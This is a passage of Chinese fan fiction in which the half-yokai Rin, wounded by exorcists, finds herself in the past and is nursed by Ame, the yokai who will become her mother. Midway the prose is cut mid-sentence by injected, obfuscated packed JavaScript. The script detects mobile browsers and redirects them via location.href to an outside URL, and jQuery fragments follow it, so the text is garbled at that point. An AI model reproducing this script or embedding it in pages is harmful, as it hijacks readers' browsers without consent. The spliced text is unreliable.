“你是哪家的小猫又呀。”


    水无月凛眨巴下眼，欲坠不坠的眼泪“唰”地一下就流了出来，扑进眼前人的怀里，就是一顿狂哭，就像是在发泄什么。


    被自己拥住的人身体僵了一瞬，旋即头上传来对方轻轻的抚摸，力道比方才更轻，仿佛在触碰一个自己十分宝贵的东西。


    “这是怎么了，是受了什么委屈？”


    前半句夹杂着一句轻轻的叹息，后半句却隐含几分冷硬，就像是水无月凛一旦说出个名字，她就会头也不回地冲去给她报仇。


    没有察觉到什么不对，水无月凛沉浸在自己也说不出的情绪中，嘴抿成一条线，呜咽着摇摇头。


    ......


    “喝点水，都快哭脱水了。”


    眼前的茶杯里盛着清水，喝入口中带着山泉的清冽，回味带着几分甘甜，水无月凛吸吸鼻子，几乎可以称得上是小心翼翼，抬眸看着坐在她对面的人。


    目光刚移到对方身上，才看到一截裙角，一块黑影带着潮湿的水汽和丝丝冰冷，盖上了她的脸。


    “唔！”


    她被这温度惊得一抖，瑟缩着躲避，后脑勺却被一只手稳住，耳侧传来一声：“别动，不冰冰眼睛，就该肿了。”


    冰是可以冰，但是不要糊上整张脸啊啊啊！


    水无月凛“唔唔”几声无果，只能放下因为不能视物在空中无力摸索的手，撑着身子挺直背任由水无月雨给她敷脸。


    等到终于重见光明，气都还没喘匀，又是一张帕子糊上脸，就像给小孩洗脸一样，还上下擦了擦。


    水无月凛：......这个手法，还真是久违了。


    水无月雨说，那天她上山采蘑菇，远远就看到一个人倒在树下，不仅身上衣服破破烂烂满是血污，就连脸上也左一道黑又一道灰辨不清真容，甚至腰腹间的伤口还在不断往外渗血，在身下汇集成一小洼血水。


    “这是被谁欺负了？”


    水无月雨说这话时，手轻轻放在水无月凛的头上，替她理了理方才敷脸乱翘的刘海。


    水无月凛的手下意识覆在自己的腰间，伤口已被水无月雨清理还裹上了草药，若不是那缠得厚厚的纱布，她几乎快忘记自己受了伤。


    什么药草，居然镇痛效果这么好。


    水无月凛摇摇头：“也不是被欺负......”


    水无月雨挑眉：“那就是寻仇？”


    说话间，水无月雨视线从下往上打量几番水无月凛，目光隐隐带有几分惊异和怀疑，就像是在说“真看不出来”。


    水无月凛嘴角一扯：“也不是，就是被一些除妖师伤了。”


    水无月雨“啧”了一声，声音低了一度：“那不就是被欺负了。”


    水无月凛极度熟悉对方这样的声线，记忆中，她小时候犯错，水无月雨就会冷着声音轻轻“嗯？”一声，然后下一秒她就会挨打。


    惨痛的记忆顺着幻痛的屁股浮现在心头，水无月凛浑身一抖，引来水无月雨的询问，少女微摇头，微不可见松一口气，抚上自己心口顺了顺。


    醒来这么一会儿，水无月凛也确定了一件事，她现在并没有处于正常的时间线，而是来到了很久很久以前，水无月雨还没遇到那个除妖师，也没与之结婚，生下她的时代。


    水无月雨正坐在院中，面前站着几个妖怪，几妖探讨着什么，水无月凛坐在不远处的廊下，就这么静静看着她。


    久久的，对方的身影和她记忆中的身影一一重叠。


    她嘴角带着一丝不易察觉的笑，心想，真好，一切都还没发生，她还是自由的，快乐的，毫无牵挂的。


    “你是谁呀。”


    手上传来谁轻轻的一戳，水无月凛闻声看去，一只小妖蹲在她身侧，正好奇地歪头看着她。


    水无月凛张了张嘴，然后笑道：“我是被水无月大人救回来的人。”


    小妖并不惊讶，老神在在地点点头：“原来你也是被雨大人捡回来的啊。”


    自己的母上大人人生一大乐趣就是捡妖，大妖小妖小小妖，无论是什么，只要是能活的，还有一口气在的，都会被她捡回来。


    好在她是一方大妖，也能护住他们，那时，这里也是彼岸的一片乐土。


    只不过，一切都改变了，在某次救回来一个人类之后。


    “喂喂，你在想什么？”眼前出现一只小手，小妖晃手唤回她的思绪。


    水无月凛眨眨眼，隐去眼中情绪，抬眸笑道：“什么都没有。”


    小妖双手环胸，像是有些不相信的样子：“真的？”


    水无月凛“嗯”了一声，但小妖还是不信，只见她凑近几分，漂亮的妖瞳一眨不眨盯着水无月凛：“可是我怎么觉得，你很难过呢？”


    水无月凛愣了一瞬，却很快掩饰过去，她眉毛一挑，下巴微抬：“谁难过了。”


    小妖看她几秒，然后猛地想起什么，又走进几分，距离过近，水无月凛不由往后微退：“你、你干什么？”


    小妖看看她，又看看不远处人群中间的水无月雨：“我怎么觉得，你和雨大人很像呢。”


    水无月凛下意识也看向那边，像是注意到她的视线，水无月雨回眸看来，两人对上视线，大妖弯起眉眼，神色温柔。


    “可能就是因为这个，水无月大人才救的我吧。”


    “嗯......”小妖看了她几秒，思考不能，旋即问起另一个问题，“为什么你叫‘雨大人’为‘水无月大人’啊？”


    绕了她吧，直呼母上大人名字，还是太......


    水无月凛只能悻悻一笑，打马虎眼把话题揭过，然而问题多像是小孩儿们的天性，小妖的问题千千万：“那你叫什么名字啊。”


    一个“mi”的音刚出口，水无月凛就咽了回去，艰难地改为“Rin”。


    “诶～”一个声音忽地响起，水无月雨不知何时走到了他们身边，弯下腰笑意盈盈的看着水无月凛，“你的名字原来是凛吗？真是好听的名字。”


    “雨大人！”小妖高兴地问好，眼里对水无月雨的敬佩和喜爱丝毫不作假。


    水无月雨笑着点头：“嗯嗯。”


    ......


    呆了好几天，水无月凛的伤已经好得七七八八，只是腰腹结疤，等到伤痕完全消失，还得要一些时日。


    雨声淅淅沥沥，远山近树都被朦胧雨意模糊了影子，雨顺着屋檐滴落，落下一滴滴细线，鼻尖是山间潮湿混杂着泥土芬芳的气息。


    水无月凛坐在廊下，就这么抬头看着细密的雨雾，背影都透着一丝寂寥。


    “怎么一个人坐在这里？”水无月雨出现在走廊尽头，朝她走来，有些不赞同地蹙眉，“伤才好全。”


    水无月凛眨巴下眼，嘴角挂起一抹讨饶的笑，声音里夹杂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439521|196501||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一丝她也没察觉到的撒娇之意：“呆在屋内太闷了，就出来透透气嘛。”


    一时无言，两人静静看着连绵的雨雾。


    “水无月大人——”


    水无月凛忽地开口，但只叫了个名字，便像是被什么扼住命运的喉咙，下半句怎么也说不出口。


    水无月雨也不催，就这么注视着她，一双猫瞳暗含鼓励，柔和得能滴出水。


    即使她并没有之后的记忆，现在仍是自由于山间的那一只大妖，但水无月凛却从她的神情中受到了鼓励，就像是曾经无数次，她从对方身上感受到的那样一般。


    半妖声音有些哑，带着一丝察觉不到的酸涩：“你过得开心吗？”


    没想到是这么简单的问题，水无月雨笑出了声：“这是什么问题啊，那当然是开心啊。”


    但是水无月凛还在问：“睡得好吗？”


    “嗯，睡得很好哦。”


    “那吃得好吗？”


    “很好哦。”


    ......


    问题千千万，水无月雨也不觉得烦和不耐，两个人就这么一问一答，说着一些极其平常甚至可以称得上无聊的话。


    “问了我这么多问题，”良久，水无月雨开口，她的声音被雨意模糊，水无月凛辨不清对方的情绪，只能听到对方说，“那我也来问问你吧——你开心吗？”


    水无月凛顿了一瞬，点点头：“开心。”


    两人几乎是又把之前的对话重复了一遍，只不过这一次提问的和回答的人颠倒了过来，她们回答的都没有什么差别，若有旁人在场，一定会讶异她们对话内容的无营养。


    但二人的神情却出奇的一致，眉眼里丝毫没有开玩笑的意思，满是真正想要知道答案的认真。


    “那有喜欢的人吗？”


    然而有一个问题出乎了水无月凛的意料，半妖嘴角一扯，无奈侧头，撞进水无月雨揶揄的眸里，声音里带了一丝控诉：“我可没问这个问题。”


    水无月雨眉眼弯弯，丝毫不退让：“所以这是我的问题呀，不管是朋友也好，恋人也罢，有让你喜欢的人吗？”


    水无月凛不可避免地想起来到这之前的记忆，也许是火光渐退，夜色更浓，又也许是自己伤势过重，血色朦胧了视线，最后只能看到几个熟悉的身影朝她奔来。


    他们是什么表情呢？


    水无月凛回想不起来，只记得自己妖化之前，浮现在脑海中最后的想法。


    【是到说再见的时候了。】


    良久，半妖少女轻声呢喃：“可我是妖啊。”


    然后下一秒，她只觉得头上一痛，一个手刀准确无误地劈上她的脑袋，水无月雨冷哼一声，对上她泪意盈盈的眼，叹了口气，伸出手指轻轻戳戳她的额头。


    “是妖又怎么了，即使种族不同，但是真心是不会骗人的。”


    可是她欺骗了八寻宁宁她们，还引来了妖怪和除妖师，学校也变得一团乱，想到这里，水无月凛垂下了眼，就像是犯错的小孩，此刻陷入巨大的自责当中。


    耳旁传来水无月雨沉沉的一道叹息，对方不再轻戳她额头，转而抚上她的头，力道很轻，带着不容忽视的温柔。


    水无月凛觉得自从她来到这里，几乎每天都会被对方顺毛，就像是很久很久之前，她们还在一起生活一样。


    “不过就是个，只会担心别人讨厌自己的小孩罢了。”